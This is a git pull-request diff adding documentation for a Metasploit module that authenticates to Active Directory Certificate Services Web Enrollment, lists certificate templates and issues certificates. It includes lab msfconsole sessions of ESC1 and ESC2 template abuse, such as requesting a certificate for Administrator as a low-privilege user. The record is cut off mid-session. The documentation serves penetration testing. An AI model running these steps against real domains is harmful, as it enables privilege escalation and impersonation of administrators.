Merge pull request #20752 from bwatters-r7/feature/certificate-web-enrollment
Add Authenticating Web Enrollment module for AD/CS
This commit is contained in:
@@ -0,0 +1,485 @@
|
||||
## Vulnerable Application
|
||||
This module makes authenticated requests to an Active Directory Certificate Services Web enrollment portal to gain
|
||||
a list of available templates and/or generate certificates based on the available templates.
|
||||
This is the same basic action as `auxiliary/server/relay/esc8` but rather then relaying NTLM credentials, we are
|
||||
authenticating with credentials we have.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
### NTLM
|
||||
1. Install and configure the application
|
||||
* See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/ldap_esc_vulnerable_cert_finder.html
|
||||
2. Start `msfconsole`
|
||||
2. Do: `use auxiliary/admin/http/web_enrollment_cert`
|
||||
3. Set the `RHOSTS` option to the AD CS Web Enrollment server
|
||||
4. Set the `HTTP::Auth` option to `ntlm`
|
||||
4. Set the `HttpUsername` option to a valid user
|
||||
4. Set the `HttpPassword` option to a valid user password
|
||||
4. Set `MODE`, `CERT_TEMPLATE`, and `TARGETURI` to the desired settings.
|
||||
|
||||
### Kerberos
|
||||
1. Install and configure the application
|
||||
* See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/ldap_esc_vulnerable_cert_finder.html
|
||||
2. Start `msfconsole`
|
||||
2. Do: `use auxiliary/admin/http/web_enrollment_cert`
|
||||
3. Set the `RHOSTS` option to the AD CS Web Enrollment server
|
||||
4. Set the `HTTP::Auth` option to `kerberos`
|
||||
5. Set the `DOMAIN` option to the FQDN
|
||||
6. Set the `DomainControllerRhost` if it is not available through DNS
|
||||
4. Set the `HttpUsername` option to a valid user
|
||||
4. Set the `HttpPassword` option to a valid user password
|
||||
4. Set `MODE`, `CERT_TEMPLATE`, and `TARGETURI` to the desired settings.
|
||||
|
||||
### ESC1
|
||||
1. Install and configure the application with ESC1 vulnerable template
|
||||
* https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/ldap_esc_vulnerable_cert_finder.html
|
||||
2. Follow steps above based on authentication type
|
||||
4. Set `MODE` to `SPECIFIC_TEMPLATE`
|
||||
3. Set `CERT_TEMPLATE` to a template vulnerable to ESC1
|
||||
4. Set `ALT_UPN` to the desired User
|
||||
5. Set `ALT_SID` to the desired SID, if necessary
|
||||
6. Set `ALT_DNS` if required
|
||||
|
||||
### ESC2
|
||||
1. Install and configure the application with ESC2 vulnerable template
|
||||
* https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/ldap_esc_vulnerable_cert_finder.html
|
||||
2. Follow steps above based on authentication type
|
||||
4. Set `MODE` to `SPECIFIC_TEMPLATE`
|
||||
3. Set `CERT_TEMPLATE` to a template vulnerable to ESC2
|
||||
4. Set `ON_BEHALF_OF` to the desired User
|
||||
5. Set `PFX` to the desired certificate file
|
||||
|
||||
## Options
|
||||
|
||||
### MODE
|
||||
The issue mode. This controls what the module will do once an authenticated session is established to the Web Enrollment
|
||||
server. Must be one of the following options:
|
||||
|
||||
* ALL: Enumerate all available certificate templates and then issue each of them
|
||||
* QUERY_ONLY: Enumerate all available certificate templates but do not issue any. Not all certificate templates
|
||||
available for use will be displayed; templates with the flag CT_FLAG_MACHINE_TYPE set will not show available and
|
||||
include `Machine` (AKA `Computer`) and `DomainController`
|
||||
* SPECIFIC_TEMPLATE: Issue the certificate template specified in the `CERT_TEMPLATE` option
|
||||
|
||||
### CERT_TEMPLATE
|
||||
The template to issue if MODE is SPECIFIC_TEMPLATE.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 2019
|
||||
#### NTLM with MODE ALL
|
||||
```msf
|
||||
msf > use auxiliary/admin/http/web_enrollment_cert
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > set rhost 10.5.132.180
|
||||
rhost => 10.5.132.180
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > set httpusername Administrator
|
||||
httpusername => Administrator
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > set httppassword v3Mpassword
|
||||
httppassword => v3Mpassword
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > set DOMAIN EXAMPLE
|
||||
DOMAIN => EXAMPLE
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > set MODE ALL
|
||||
MODE => ALL
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > set HTTP::AUTH ntlm
|
||||
HTTP::AUTH => ntlm
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > show options
|
||||
|
||||
Module options (auxiliary/admin/http/web_enrollment_cert):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ALT_DNS no Alternative certificate DNS
|
||||
ALT_SID no Alternative object SID
|
||||
ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN)
|
||||
HttpPassword v3Mpassword no The HTTP password to specify for authentication
|
||||
HttpUsername Administrator no The HTTP username to specify for authentication
|
||||
MODE ALL yes The issue mode. (Accepted: ALL, QUERY_ONLY, SPECIFIC_TEMPLATE)
|
||||
ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER)
|
||||
PFX no Certificate to request on behalf of
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5
|
||||
h, sapni, socks4, http, socks5
|
||||
RHOSTS 10.5.132.180 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
|
||||
metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /certsrv/ yes The URI for the cert server.
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When MODE is SPECIFIC_TEMPLATE:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CERT_TEMPLATE no The template to issue if MODE is SPECIFIC_TEMPLATE.
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > run
|
||||
[*] Retrieving available template list, this may take a few minutes
|
||||
[*] ***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***
|
||||
[+] Available Certificates for EXAMPLE\\Administrator on : User, EFS, Administrator, EFSRecovery, ESC16_1, ESC2-Template, WebServer, SubCA, ESC1-Template
|
||||
[+] Certificate generated using template User and EXAMPLE\\Administrator
|
||||
[+] Certificate for EXAMPLE\\Administrator using template User saved to /home/tmoose/.msf4/loot/20260116142051_default_10.5.132.180_windows.ad.cs_263748.pfx
|
||||
[+] Certificate generated using template EFS and EXAMPLE\\Administrator
|
||||
[+] Certificate for EXAMPLE\\Administrator using template EFS saved to /home/tmoose/.msf4/loot/20260116142053_default_10.5.132.180_windows.ad.cs_150446.pfx
|
||||
[+] Certificate generated using template Administrator and EXAMPLE\\Administrator
|
||||
[+] Certificate for EXAMPLE\\Administrator using template Administrator saved to /home/tmoose/.msf4/loot/20260116142055_default_10.5.132.180_windows.ad.cs_586273.pfx
|
||||
[+] Certificate generated using template EFSRecovery and EXAMPLE\\Administrator
|
||||
[+] Certificate for EXAMPLE\\Administrator using template EFSRecovery saved to /home/tmoose/.msf4/loot/20260116142057_default_10.5.132.180_windows.ad.cs_077399.pfx
|
||||
[+] Certificate generated using template ESC16_1 and EXAMPLE\\Administrator
|
||||
[+] Certificate for EXAMPLE\\Administrator using template ESC16_1 saved to /home/tmoose/.msf4/loot/20260116142101_default_10.5.132.180_windows.ad.cs_832421.pfx
|
||||
[+] Certificate generated using template ESC2-Template and EXAMPLE\\Administrator
|
||||
[+] Certificate for EXAMPLE\\Administrator using template ESC2-Template saved to /home/tmoose/.msf4/loot/20260116142102_default_10.5.132.180_windows.ad.cs_548200.pfx
|
||||
[+] Certificate generated using template WebServer and EXAMPLE\\Administrator
|
||||
[+] Certificate for EXAMPLE\\Administrator using template WebServer saved to /home/tmoose/.msf4/loot/20260116142103_default_10.5.132.180_windows.ad.cs_191863.pfx
|
||||
[+] Certificate generated using template SubCA and EXAMPLE\\Administrator
|
||||
[+] Certificate for EXAMPLE\\Administrator using template SubCA saved to /home/tmoose/.msf4/loot/20260116142105_default_10.5.132.180_windows.ad.cs_300086.pfx
|
||||
[+] Certificate generated using template ESC1-Template and EXAMPLE\\Administrator
|
||||
[+] Certificate for EXAMPLE\\Administrator using template ESC1-Template saved to /home/tmoose/.msf4/loot/20260116142106_default_10.5.132.180_windows.ad.cs_017489.pfx
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf auxiliary(admin/http/web_enrollment_cert) >
|
||||
|
||||
```
|
||||
|
||||
#### Kerberos MODE:ALL
|
||||
```msf
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > show options
|
||||
|
||||
Module options (auxiliary/admin/http/web_enrollment_cert):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ALT_DNS no Alternative certificate DNS
|
||||
ALT_SID no Alternative object SID
|
||||
ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN)
|
||||
HttpPassword v3Mpassword no The HTTP password to specify for authentication
|
||||
HttpUsername Administrator no The HTTP username to specify for authentication
|
||||
MODE ALL yes The issue mode. (Accepted: ALL, QUERY_ONLY, SPECIFIC_TEMPLATE)
|
||||
ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER)
|
||||
PFX no Certificate to request on behalf of
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5
|
||||
h, sapni, socks4, http, socks5
|
||||
RHOSTS 10.5.132.180 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
|
||||
metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /certsrv/ yes The URI for the cert server.
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When MODE is SPECIFIC_TEMPLATE:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CERT_TEMPLATE no The template to issue if MODE is SPECIFIC_TEMPLATE.
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > show advanced
|
||||
|
||||
Module advanced options (auxiliary/admin/http/web_enrollment_cert):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DOMAIN example.com yes The domain to use for Windows authentication (Must be FQDN
|
||||
if HTTP:Auth is Kerberos)
|
||||
DigestAlgorithm SHA256 yes The digest algorithm to use (Accepted: SHA1, SHA256)
|
||||
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to
|
||||
false for non-IIS servers
|
||||
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
|
||||
HTTP::Auth kerberos yes The Authentication mechanism to use (Accepted: auto, ntlm,
|
||||
kerberos, plaintext, none)
|
||||
HttpClientTimeout no HTTP connection and receive timeout
|
||||
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing
|
||||
headers
|
||||
HttpTrace false no Show the raw HTTP requests and responses
|
||||
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to d
|
||||
isable)
|
||||
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
|
||||
SSLKeyLogFile no The SSL key log file
|
||||
SSLServerNameIndication no SSL/TLS Server Name Indication (SNI)
|
||||
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and S
|
||||
SL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3
|
||||
, TLS1, TLS1.1, TLS1.2)
|
||||
ShowProgress true yes Display progress messages during a scan
|
||||
ShowProgressPercent 10 yes The interval in percent that progress should be shown
|
||||
UserAgent Mozilla/5.0 (Macintosh; Intel Mac no The User-Agent header to use for all requests
|
||||
OS X 10_15_7) AppleWebKit/537.36
|
||||
(KHTML, like Gecko) Chrome/131.0
|
||||
.0.0 Safari/537.36
|
||||
VERBOSE false no Enable detailed status messages
|
||||
WORKSPACE no Specify the workspace for this module
|
||||
|
||||
|
||||
When HTTP::Auth is kerberos:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DomainControllerRhost 10.5.132.180 no The resolvable rhost for the Domain Controller
|
||||
HTTP::Krb5Ccname no The ccache file to use for kerberos authentication
|
||||
HTTP::KrbOfferedEncryptionType AES256,AES128,RC4-HMAC,DES-CBC yes Kerberos encryption types to offer
|
||||
s -MD5,DES3-CBC-SHA1
|
||||
HTTP::Rhostname WIN-DRC9HCDIMAT no The rhostname which is required for kerberos - the SPN
|
||||
KrbCacheMode read-write yes Kerberos ticket cache storage mode (Accepted: none, re
|
||||
ad-only, write-only, read-write)
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > run
|
||||
[*] Retrieving available template list, this may take a few minutes
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143502_default_10.5.132.180_mit.kerberos.cca_557407.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143502_default_10.5.132.180_mit.kerberos.cca_545138.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[*] ***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***
|
||||
[+] Available Certificates for on : User, EFS, Administrator, EFSRecovery, ESC16_1, ESC2-Template, WebServer, SubCA, ESC1-Template
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143520_default_10.5.132.180_mit.kerberos.cca_606180.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143520_default_10.5.132.180_mit.kerberos.cca_023162.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate generated using template User and
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143537_default_10.5.132.180_mit.kerberos.cca_548243.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143537_default_10.5.132.180_mit.kerberos.cca_843349.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate for using template User saved to /home/tmoose/.msf4/loot/20260116143538_default_10.5.132.180_windows.ad.cs_760252.pfx
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143541_default_10.5.132.180_mit.kerberos.cca_236912.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143541_default_10.5.132.180_mit.kerberos.cca_237890.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate generated using template EFS and
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143543_default_10.5.132.180_mit.kerberos.cca_360144.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143543_default_10.5.132.180_mit.kerberos.cca_009299.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate for using template EFS saved to /home/tmoose/.msf4/loot/20260116143544_default_10.5.132.180_windows.ad.cs_150360.pfx
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143546_default_10.5.132.180_mit.kerberos.cca_444407.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143547_default_10.5.132.180_mit.kerberos.cca_460069.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate generated using template Administrator and
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143548_default_10.5.132.180_mit.kerberos.cca_941754.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143549_default_10.5.132.180_mit.kerberos.cca_484741.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate for using template Administrator saved to /home/tmoose/.msf4/loot/20260116143549_default_10.5.132.180_windows.ad.cs_088506.pfx
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143552_default_10.5.132.180_mit.kerberos.cca_665940.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143552_default_10.5.132.180_mit.kerberos.cca_324874.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate generated using template EFSRecovery and
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143554_default_10.5.132.180_mit.kerberos.cca_559229.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143554_default_10.5.132.180_mit.kerberos.cca_295382.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate for using template EFSRecovery saved to /home/tmoose/.msf4/loot/20260116143554_default_10.5.132.180_windows.ad.cs_477946.pfx
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143556_default_10.5.132.180_mit.kerberos.cca_645978.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143557_default_10.5.132.180_mit.kerberos.cca_838211.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate generated using template ESC16_1 and
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143558_default_10.5.132.180_mit.kerberos.cca_485891.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143559_default_10.5.132.180_mit.kerberos.cca_709913.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate for using template ESC16_1 saved to /home/tmoose/.msf4/loot/20260116143559_default_10.5.132.180_windows.ad.cs_818976.pfx
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143601_default_10.5.132.180_mit.kerberos.cca_952232.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143601_default_10.5.132.180_mit.kerberos.cca_169000.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate generated using template ESC2-Template and
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143603_default_10.5.132.180_mit.kerberos.cca_042983.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143603_default_10.5.132.180_mit.kerberos.cca_512322.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate for using template ESC2-Template saved to /home/tmoose/.msf4/loot/20260116143604_default_10.5.132.180_windows.ad.cs_206522.pfx
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143607_default_10.5.132.180_mit.kerberos.cca_893032.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143607_default_10.5.132.180_mit.kerberos.cca_156631.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate generated using template WebServer and
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143608_default_10.5.132.180_mit.kerberos.cca_982799.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143609_default_10.5.132.180_mit.kerberos.cca_247412.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate for using template WebServer saved to /home/tmoose/.msf4/loot/20260116143609_default_10.5.132.180_windows.ad.cs_955795.pfx
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143612_default_10.5.132.180_mit.kerberos.cca_119902.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143613_default_10.5.132.180_mit.kerberos.cca_847610.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate generated using template SubCA and
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143614_default_10.5.132.180_mit.kerberos.cca_417480.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143615_default_10.5.132.180_mit.kerberos.cca_766015.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate for using template SubCA saved to /home/tmoose/.msf4/loot/20260116143615_default_10.5.132.180_windows.ad.cs_888697.pfx
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143617_default_10.5.132.180_mit.kerberos.cca_866496.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143617_default_10.5.132.180_mit.kerberos.cca_528295.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate generated using template ESC1-Template and
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143619_default_10.5.132.180_mit.kerberos.cca_103101.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143619_default_10.5.132.180_mit.kerberos.cca_871753.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate for using template ESC1-Template saved to /home/tmoose/.msf4/loot/20260116143620_default_10.5.132.180_windows.ad.cs_135453.pfx
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(admin/http/web_enrollment_cert) >
|
||||
|
||||
```
|
||||
|
||||
# Kerberos, ESC1
|
||||
```msf
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > set MODE QUERY_ONLY
|
||||
MODE => QUERY_ONLY
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > run
|
||||
[*] Retrieving available template list, this may take a few minutes
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144412_default_10.5.132.180_mit.kerberos.cca_605997.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144413_default_10.5.132.180_mit.kerberos.cca_011223.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[*] ***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***
|
||||
[+] Available Certificates for on : User, EFS, Administrator, EFSRecovery, ESC16_1, ESC2-Template, WebServer, SubCA, ESC1-Template
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > set httpusername msfuser
|
||||
httpusername => msfuser
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > set httppassword v3Mpassword
|
||||
httppassword => v3Mpassword
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > set mode SPECIFIC_TEMPLATE
|
||||
mode => SPECIFIC_TEMPLATE
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > set cert_template ESC1-Template
|
||||
cert_template => ESC1-Template
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > set ALT_UPN Administrator@example.com
|
||||
ALT_UPN => Administrator@example.com
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > run
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144915_default_10.5.132.180_mit.kerberos.cca_142147.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144915_default_10.5.132.180_mit.kerberos.cca_645508.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate generated using template ESC1-Template and
|
||||
[+] 10.5.132.180:88 - Received a valid TGT-Response
|
||||
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144917_default_10.5.132.180_mit.kerberos.cca_079562.bin
|
||||
[+] 10.5.132.180:88 - Received a valid TGS-Response
|
||||
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144917_default_10.5.132.180_mit.kerberos.cca_912221.bin
|
||||
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
|
||||
[+] Certificate for using template ESC1-Template saved to /home/tmoose/.msf4/loot/20260116144918_default_10.5.132.180_windows.ad.cs_076676.pfx
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(admin/http/web_enrollment_cert) >
|
||||
|
||||
|
||||
```
|
||||
|
||||
# Kerberos, ESC2
|
||||
```msf
|
||||
msf auxiliary(admin/http/web_enrollment_cert) > show options
|
||||
|
||||
Module options (auxiliary/admin/http/web_enrollment_cert):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ALT_DNS no Alternative certificate DNS
|
||||
ALT_SID no Alternative object SID
|
||||
ALT_UPN Administrator@example.com no Alternative certificate UPN (format: USER@DOMAIN)
|
||||
HttpPassword v3Mpassword no The HTTP password to specify for authentication
|
||||
HttpUsername msfuser no The HTTP username to specify for authentication
|
||||
MODE SPECIFIC_TEMPLATE yes The issue mode. (Accepted: ALL, QUERY_ONLY, SPECIFIC_TEMPLATE)
|
||||
ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER)
|
||||
PFX no Certificate to request on behalf of
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxi
|
||||
es: socks5h, sapni, socks4, http, socks5
|
||||
